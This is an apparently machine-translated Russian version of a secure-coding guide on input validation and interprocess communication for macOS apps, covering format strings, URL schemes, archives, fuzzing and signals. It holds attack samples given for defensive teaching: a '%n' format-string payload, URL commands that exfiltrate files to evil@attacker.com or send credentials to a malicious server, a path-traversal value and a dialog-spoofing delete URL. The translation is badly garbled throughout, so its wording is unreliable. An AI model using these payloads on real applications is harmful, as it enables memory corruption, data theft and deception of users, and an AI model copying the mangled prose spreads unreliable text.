Проверка ввода и межпроцессного взаимодействия

Майор, и рост, источник уязвимостей системы обеспечения безопасности является отказом программ проверить весь ввод извне программы — т.е. данные, предоставленные пользователями, от файлов, по сети, или другими процессами. В этой главе описываются некоторые пути, которыми непроверенный ввод может быть использован, и некоторые методы кодирования, чтобы практиковать и избежать.

Риски непроверенного ввода

Любое время Ваша программа принимает ввод из неконтролируемого источника, существует потенциал для пользователя для передачи в данных, не соответствующих ожиданиям. Если Вы не проверяете ввод, он мог бы вызвать проблемы в пределах от катастрофических отказов программы к разрешению атакующему выполнить его собственный код. Существует много способов, включая которые атакующий может использовать в своих интересах непроверенный ввод:

Много обновлений системы защиты Apple должны были фиксировать входные уязвимости, включая несколько уязвимостей, что хакеры раньше «делали джейлбрейк» iPhone. Входные уязвимости являются распространенными и являются часто легко годными для использования, но также обычно легко исправляются.

Порождение переполнения буфера

Если Ваше приложение берет ввод от пользователя или другого недоверяемого источника, это никогда не должно копировать данные в буфер фиксированной длины, не проверяя длину и усекая его при необходимости. Иначе, атакующий может использовать поле ввода для порождения переполнения буфера. Посмотрите Переполнение буфера Предотвращения и Потери значимости для узнавания больше.

Атаки строки формата

Если Вы берете ввод от пользователя или другого недоверяемого источника и выводите на экран его, необходимо быть осторожными, что подпрограммы дисплея не обрабатывают строки формата, полученные от недоверяемого источника. Например, в следующем коде функция стандартной библиотеки для C системного журнала используется для записи полученного Запроса HTTP в системный журнал. Поскольку syslog функционируйте обрабатывает строки формата, это обработает любые строки формата, включенные во входящий пакет:

/* receiving http packet */
int size = recv(fd, pktBuf, sizeof(pktBuf), 0);
if (size) {
syslog(LOG_INFO, "Received new HTTP request!");
syslog(LOG_INFO, pktBuf);
}

Много строк формата могут вызвать проблемы для приложений. Например, предположите, что атакующий передает следующую строку во входящем пакете:

"AAAA%08x.%08x.%08x.%08x.%08x.%08x.%08x.%08x.%n"

Эта строка получает восемь элементов от штабеля. При предположении, что сама строка формата сохранена на штабеле, в зависимости от структуры штабеля, это могло бы эффективно положить обратно указатель вершины стека к началу строки формата. Тогда %n маркер заставил бы функцию печати брать число байтов, записанных до сих пор и писать, что значение к адресу памяти сохранило в следующем параметре, который, оказывается, строка формата. Таким образом, принимая 32-разрядную архитектуру, AAAA в самой строке формата был бы обработан как значение указателя 0x41414141, и значение в том адресе было бы перезаписано с номером 76.

Выполнение этого будет обычно вызывать катастрофический отказ в следующий раз, когда система должна получить доступ к той ячейке памяти, но при помощи строки, тщательно обработанной для определенного устройства и операционной системы, атакующий может записать произвольные данные в любое расположение. См. страницу руководства для printf для полного описания синтаксиса строки формата.

Для предотвращения атак строки формата удостоверьтесь, что никакие входные данные никогда не передаются как часть строки формата. Для фиксации этого просто включайте собственную строку формата в каждый такой вызов функции. Например, вызов

printf(buffer)

может подвергнуться атаке, но вызову

printf(“%s”, buffer)

не. Во втором случае, всех символах в буферном параметре — включая знаки процента (%) — распечатываются вместо того, чтобы быть интерпретированным как форматирование маркеров.

Когда строка случайно отформатирована несколько раз, эта ситуация может быть сделана более сложной. Следующий пример неправильно передает результат вызова к NSString метод stringWithFormat: как значение informativeTextWithFormat параметр NSAlert метод alertWithMessageText:defaultButton:alternateButton:otherButton:informativeTextWithFormat:. В результате строка отформатирована дважды, и данные из импортированного сертификата используются в качестве части строки формата для NSAlert метод.

alert = [NSAlert alertWithMessageText:"Certificate Import Succeeded"
    defaultButton:"OK"
    alternateButton:nil
    otherButton:nil
    informativeTextWithFormat:[NSString stringWithFormat: /* BAD! BAD! BAD! */
       @"The imported certificate \"%@\" has been selected in the certificate pop-up.",
       [selectedCert identifier]]];
 
[alert setAlertStyle:NSInformationalAlertStyle];
[alert runModal];

Вместо этого строка должна быть отформатирована только один раз, следующим образом:

alert = [NSAlert alertWithMessageText:"Certificate Import Succeeded"
    defaultButton:"OK"
    alternateButton:nil
    otherButton:nil
    informativeTextWithFormat:@"The imported certificate \"%@\" has been selected in the certificate pop-up.",
       [selectedCert identifier]];
...

Следующие обычно используемые функции и методы подвергаются атакам строки формата:

URLs и обработка файла

Если Ваше приложение зарегистрировало схему URL, необходимо быть осторожны относительно того, как Вы обрабатываете команды, отправленные в Ваше приложение через строку URL. Обнародовали ли Вы команды или нет, хакеры попытаются отправить команды в Ваше приложение. Если, например, Вы обеспечите ссылку или ссылки для запуска приложения от веб-сайта, то хакеры будут надеяться видеть, какие команды Вы отправляете и попробуете каждое изменение на тех командах, о которых они могут думать. Вы должны быть подготовлены обработать или отфильтровать, любые команды, которые могут быть отправлены в Ваше приложение, не только те команды, которые требуется получить.

Например, если Вы принимаете команду, заставляющую Ваше приложение передавать учетные данные обратно Вашему веб-серверу, не делайте функциональный обработчик достаточно общим так, чтобы атакующий мог заменить URL их собственного веб-сервера. Вот некоторые примеры видов команд, которые Вы не должны принимать:

  • myapp://cmd/run? программа =/path/to/program/to/run

  • myapp://cmd/set_preference? use_ssl=false

  • myapp://cmd/sendfile? to=evil@attacker.com&file=some/data/file

  • myapp://cmd/delete? data_to_delete=my_document_ive_been_working_on

  • myapp://cmd/login_to? server_to_send_credentials=some.malicious.webserver.com

В целом не принимайте команды, включающие произвольный URLs или завершающие пути.

При принятии текста или других данных в команде URL, которую Вы впоследствии включаете в вызов функции или вызов метода, Вы могли подвергнуться атаке строки формата (см. Атаки Строки формата), или атака переполнения буфера (см. Порождение Переполнения буфера). При принятии путей старайтесь принять меры против строк, которые могли бы перенаправить вызов к другому каталогу; например:

myapp://use_template?template=/../../../../../../../../some/other/file

Инжекционные атаки

Команды Unvalidated URL и текстовые строки иногда позволяют атакующему вводить код в программу, которую тогда выполняет программа. Вы находитесь в опасности от инжекционных атак каждый раз, когда Ваши работы кода с данными, свободно структурированными и содержащими смешение двух или больше различных типов данных.

Например, если Ваши запросы передач приложения к базе данных SQL, те запросы содержат два типа данных: сама команда (говорящий базу данных, что сделать) и данные, которые использует команда. Данные обычно разделяются от команды кавычками. Однако, если данные, которые Вы храните, содержат кавычки, Ваше программное обеспечение должно должным образом заключить те дополнительные метки в кавычки так, чтобы они не были интерпретированы как конец данных. Иначе, злонамеренный атакующий мог передать Ваше программное обеспечение строка, содержащая метки кавычки, сопровождаемые точкой с запятой для окончания команды, сопровождаемой второй командой для выполнения, в которой точке база данных SQL покорно выполнит введенный код, предоставленный атакующим.

Предотвращение инжекционных атак правильно требует больше, чем простой контроль ввода, таким образом, это покрыто отдельно в разделе Avoiding Injection Attacks in Avoiding Injection Attacks и XSS.

Социальная разработка

Социальная разработка — по существу обманывание пользователя — может использоваться с непроверенными входными уязвимостями для превращения незначительного раздражения в основную проблему. Например, если Ваша программа принимает, что команда URL удаляет файл, но первые дисплеи диалоговое разрешение запроса от пользователя, Вы могли бы быть в состоянии отправить достаточно длинную строку для прокрутки имени файла, который будет удален мимо конца диалогового окна. Вы могли обмануть пользователя в размышление, что он удалял что-то безвредное, такое как ненужные кэшированные данные. Например:

myapp://cmd/delete?file=cached data that is slowing down your system.,realfile

Пользователь тогда мог бы видеть, что диалоговое окно с текстом “Является Вами уверенный, что Вы хотите удалить кэшированные данные, замедляющие Вашу систему”. Имя реального файла, в этом сценарии, вне поля зрения ниже нижней части диалогового окна. Когда пользователь нажимает кнопку «OK», однако, реальные данные пользователя удалены.

Другие примеры социальных технических атак включают обманывание пользователя в нажимание на ссылку в злонамеренном веб-сайте или после злонамеренного URL.

Для получения дополнительной информации о социальной разработке, считайте Безопасные пользовательские интерфейсы Разработки.

Модификации к заархивированным данным

Архивация данных, также известных как сериализация графа объектов, относится к преобразованию набора соединенных объектов в архитектурно-независимый поток байтов, сохраняющий идентификационные данные и отношения между объектами и значениями. Архивы используются для записи данных к файлу, передача данных между процессами или через сеть или выполнение других типов хранения данных или обмена.

Например, в Какао, можно использовать объект кодера создать и читать из архива, где объект кодера является экземпляром конкретного подкласса абстрактного класса NSCoder.

Объектные архивы проблематичны с точки зрения безопасности по нескольким причинам.

Во-первых, объектный архив расширяется в граф объектов, который может содержать произвольные экземпляры произвольных классов. Если атакующий заменяет экземпляром различного класса, чем Вы ожидали, Вы могли получить неожиданное поведение.

Во-вторых, потому что приложение должно знать тип данных, хранивших в архиве для разархивирования его, разработчики обычно предполагают, что декодируемые значения являются тем же размером и типом данных как значения, которые они первоначально кодировали. Однако, когда данные хранятся небезопасным способом прежде чем быть разархивированным, это не безопасное предположение. Если заархивированные данные не хранятся надежно, для атакующего возможно изменить данные, прежде чем приложение разархивирует его.

Если Ваш initWithCoder: метод тщательно не проверяет все данные, которые он декодирует, чтобы удостовериться, что он хорошо формируется и не превышает пространство памяти, зарезервированное для него, затем путем тщательной обработки поврежденного архива, атакующий мог потенциально вызвать переполнение буфера или инициировать другую уязвимость и возможно захватить контроль системы.

Далее, если Ваш initWithCoder: вызовы метода decodeObjectForKey: метод, к тому времени, когда вызов возвращается, может уже быть слишком поздно для предотвращения неправомерного поведения. При использовании архивов таким способом, которым данные могли потенциально храниться или передаваться небезопасным способом или могли потенциально прибыть из недоверяемого источника, необходимо использовать decodeObjectOfClass:forKey: вместо этого, и необходимо ограничить содержание формата файла к классам, соответствующим NSSecureCoding протокол.

В-третьих, некоторые объекты возвращают различный объект во время разархивирования (см. NSKeyedUnarchiverDelegate метод unarchiver:didDecodeObject:) или когда они получают сообщение awakeAfterUsingCoder:. NSImage один пример такого класса — это может зарегистрировать себя для имени, когда разархивировано, потенциально заняв место изображения использование приложения. Атакующий мог бы быть в состоянии использовать в своих интересах это для вставки злонамеренно файла поврежденного образа в приложение.

Стоит иметь в виду, что, даже если Вы пишете абсолютно безопасный код, могли бы все еще быть уязвимости системы обеспечения безопасности в библиотеках, вызванных Вашим кодом. В частности, initWithCoder: методы суперклассов Ваших классов также вовлечены в разархивирование.

Посмотрите Риски Непроверенного Ввода для получения дополнительной информации о рисках чтения непроверенного ввода, Защитив Операции Файла для методов, которые можно использовать для хранения архивных файлов безопасными, и другие разделы в этой главе для подробных данных о проверке ввода.

Fuzzing

Fuzzing или тестирование пуха, является методом случайным образом или выборочно изменяющий иначе допустимые данные и передающий его программе для наблюдения то, что происходит. Если программа отказывает или иначе неправильно себя ведет, это - индикация относительно потенциальной уязвимости, которая могла бы быть годной для использования. Fuzzing является любимым инструментом хакеров, ищущих переполнение буфера и другие типы уязвимостей, обсужденных в этой главе. Поскольку это будет использоваться хакерами против Вашей программы, необходимо использовать его сначала, таким образом, можно закрыть любые уязвимости, прежде чем они сделают.

Несмотря на то, что Вы никогда не можете доказывать, что Ваша программа является абсолютно бесплатной от уязвимостей, можно, по крайней мере, избавиться от любого, которые просты найти этот путь. В этом случае задание разработчика намного проще, чем тот из хакера. Принимая во внимание, что хакер должен не только найти поля ввода, которые могли бы быть уязвимыми, но также и должны определить точный характер уязвимости и затем обработать атаку, использующую его, Вы должны только найти уязвимость, затем смотреть на исходный код, чтобы определить, как закрыть его. Вы не должны доказывать, что проблема является годной для использования — просто предполагают, что кто-то найдет способ использовать ее и фиксировать ее, прежде чем они получат возможность попробовать.

Fuzzing лучше всего сделан со сценариями или короткими программами, случайным образом варьирующимися, ввод передал программе. В зависимости от типа ввода Вы тестируете — текстовое поле, URL, файл данных, и т.д — можно попробовать HTML, javascript, дополнительные длинные строки, обычно запрещенные символы, и т.д. Если программа разрушает или делает что-либо неожиданное, необходимо исследовать исходный код, обрабатывающий тот ввод для наблюдения то, что проблема, и фиксируйте его.

Например, если Ваша программа просит имя файла, необходимо попытаться ввести строку дольше, чем максимальное юридическое имя файла. Или, если существует поле, указывающее размер блока данных, попытка использовать блок данных, больше, чем тот, Вы указали в поле размера.

Самые интересные значения для попытки, когда fuzzing являются обычно граничными значениями. Например, если переменная содержит целое число со знаком, попытка передать максимальные и минимальные значения допускала целое число со знаком того размера, вместе с 0, 1, и-1. Если поле данных должно содержать строку меньше чем без 1 байта и не больше, чем 42 байтов, попробуйте нулевые байты, 1 байт, 42 байта и 43 байта. И т.д.

В дополнение к граничным значениям необходимо также попробовать значения, которые являются путем, путем вне математических ожиданий. Например, если Ваше приложение ожидает изображение, которое составляет до 2 000 пикселей на 3 000 пикселей, Вы могли бы изменить поля размера, чтобы утверждать, что изображение составляет 65 535 пикселей на 65 535 пикселей. Используя большие значения может раскрыть ошибки целочисленного переполнения (и в некоторых случаях, NULL ошибки обработки указателя, когда выделение памяти перестало работать). Посмотрите Целочисленные переполнения Предотвращения и Потери значимости в Предотвращении Переполнения буфера и Потерь значимости для получения дополнительной информации о целочисленных переполнениях.

Вставка дополнительных байтов данных в середину или конец файла может также быть полезным fuzzing методом в некоторых случаях. Например, если заголовок файла указывает, что содержит 1 024 байта после того, как заголовок, fuzzer мог добавить 1025-й байт. fuzzer мог добавить дополнительную строку или столбец данных в файле образа. И т.д.

Межпроцессное взаимодействие и сети

При передаче с другим процессом самая важная вещь помнить состоит в том, что Вы не можете обычно проверять, что другой процесс не поставился под угрозу. Таким образом необходимо обработать его как недоверяемый и потенциально враждебный. Все межпроцессное взаимодействие потенциально уязвимо для атак, если Вы должным образом не проверяете ввод, избегаете условий состязания и выполняете какие-либо другие тесты, которые являются надлежащими при работе с данными из потенциально враждебного источника.

Выше и вне этих рисков, однако, некоторые формы межпроцессного взаимодействия имеют определенные риски, свойственные к механизму связи. В этом разделе описываются некоторые из тех рисков.

Мах, обменивающийся сообщениями

При работе с Махом, обменивающимся сообщениями, важно никогда не дать порт задачи Маха процесса любому другому. Если Вы делаете, Вы эффективно позволяете тому процессу произвольно изменять адресное пространство Ваш процесс, делающий его тривиальным, чтобы поставить под угрозу Ваш процесс.

Вместо этого необходимо создать порт Маха в частности для связи с данным клиентом.

Примечание: Махом, обменивающимся сообщениями в OS X, не является поддерживаемый API. Нет назад гарантии совместимости сделаны для приложений, использующих его так или иначе.

Вызовы удаленной процедуры (RPC) и Распределенные Объекты:

Если Ваше приложение использует вызовы удаленной процедуры или Распределенные Объекты, Вы неявно говорите, что Вы полностью доверительный безотносительно процесса в другом конце соединения. Тот процесс может вызвать произвольные функции в Вашем коде и может даже быть в состоянии произвольно перезаписать части Вашего кода с вредоносным кодом.

Поэтому необходимо избегать использования вызовов удаленной процедуры или Распределенных Объектов при передаче с потенциально недоверяемыми процессами, и в частности Вы никогда не должны использовать эти технологии связи через границу сети кроме среди узлов, которыми Вы управляете.

Общая память:

Если Вы намереваетесь совместно использовать память через приложения, старайтесь выделить любую память на «куче» в выровненных страницей, блоках размера страницы. Если Вы совместно используете блок памяти, которая не является целой страницей (или хуже, если Вы совместно используете некоторую часть штабеля своего приложения), можно обеспечивать процесс в другом конце с возможностью перезаписать части кода, штабеля или других данных способами, которые могут произвести неправильное поведение, и может даже позволить инжекцию произвольного кода.

В дополнение к этим рискам некоторые формы общей памяти могут также подвергнуться атакам состояния состязания. В частности файлы с отображенной памятью могут быть заменены другими файлами между тем, когда Вы создаете файл и когда Вы открываете его. Дополнительную информацию см. в Операциях Файла Обеспечения.

Наконец, названный областями общей памяти и файлами с отображенной памятью может быть получен доступ любым другим процессом, работающим как пользователь. Поэтому не безопасно использовать неанонимную общую память для отправки строго секретной информации между процессами. Вместо этого выделите свою область общей памяти до создания дочернего процесса, который должен совместно использовать ту область, затем передать IPC_PRIVATE как ключ для shmget гарантировать, что идентификатор общей памяти не просто предположить.

Примечание: Если Вы вызываете, области общей памяти отсоединяются exec или другие подобные функции. Если необходимо передать данные безопасным способом через exec граница, необходимо передать общую память ID дочернему процессу. Идеально, необходимо сделать, это использование безопасного механизма, такого как канал создало использование вызова к pipe.

После того, как последний дочерний процесс, который должен использовать определенную область общей памяти, работает, процесс, создавший область, должен вызвать shmctl удалить область общей памяти. Выполнение так гарантирует, что никакие дальнейшие процессы не могут присоединить к той области, даже если они управляют предположить область ID.

shmctl(id, IPC_RMID, NULL);
Сигналы:

Сигнал, в этом контексте, является определенным типом сообщения без содержания, отправленного от одного процесса до другого в основанной на UNIX операционной системе, такой как OS X. Любая программа может зарегистрировать сигнальную функцию-обработчик для выполнения определенных операций после получения сигнала.

В целом не безопасно сделать существенное количество работы в сигнальном обработчике. Существует только ряд библиотечных функций и системных вызовов, которые безопасно использовать в сигнальном обработчике (называемый асинхронными сигнальными безопасными вызовами), и это делает несколько трудным безопасно выполнить работу в вызове.

Что еще более важно, однако, как программист, Вы не сознаете ситуацию то, когда Ваше приложение получает сигнал. Таким образом, если атакующий может заставить сигнал быть поставленным Вашему процессу (путем переполнения буфера сокета, например), атакующий может заставить сигнальный код обработчика выполняться в любое время между любыми двумя строками кода в приложении. Это может быть проблематично, если бы существуют определенные места, где выполнение того кода было бы опасно.

Например, в 2004, сигнальное состояние состязания обработчика было найдено в настоящем открытого исходного кода во многих основанных на UNIX операционных системах. Эта ошибка позволила удаленному атакующему выполнить произвольный код или мешать демону FTP работать, заставив его считать данные из сокета и выполнить команды, в то время как это все еще работало как пользователь root. [CVE-2004-0794]

Поэтому сигнальные обработчики должны сделать минимальную сумму возможной работы, и должны выполнить объем работы над известным расположением в основном программном цикле приложения.

Например, в приложении на основе Основы или Базовой Основы, можно создать пару подключенных сокетов путем вызова socketpair, вызвать setsockopt для установки сокета в неблокирование превратите один конец в a CFStream объект путем вызова CFStreamCreatePairWithSocket, и затем запланируйте тот поток на свой цикл выполнения. Затем можно установить минимальный сигнальный обработчик, использующий системный вызов записи (который является «асинхронным сигнальным сейфом» согласно POSIX.1) записать данные в другой сокет. Когда сигнальный обработчик возвратится, Ваш цикл выполнения будет разбужен данными по другому сокету, и можно тогда обработать сигнал когда вам будет удобно.

Важный: Если Вы пишете в сокет в сигнальном обработчике и читаете из него в цикле выполнения на Вашем основном потоке программы, необходимо установить сокет в неблокирование. Если Вы не делаете, возможно заставить Ваше приложение зависать путем отправки ему слишком многих сигналов.

Очередь для сокета имеет конечный размер. Когда это заполняется, если сокет установлен в неблокирование, сбои вызова записи, и глобальная переменная errno установлена в EAGAIN. Если сокет блокирует, однако, блоки вызова записи до порожней тары очереди достаточно для записи данных.

Если вызов записи в сигнальном обработчике блокирует, это препятствует тому, чтобы сигнальный обработчик возвратил выполнение циклу выполнения. Если тот цикл выполнения будет ответственен за чтение данных из сокета, то очередь никогда не будет пустеть, вызов записи никогда не будет разблокировать, и Ваше приложение в основном зависнет (по крайней мере, пока вызов записи не будет прерван другим сигналом).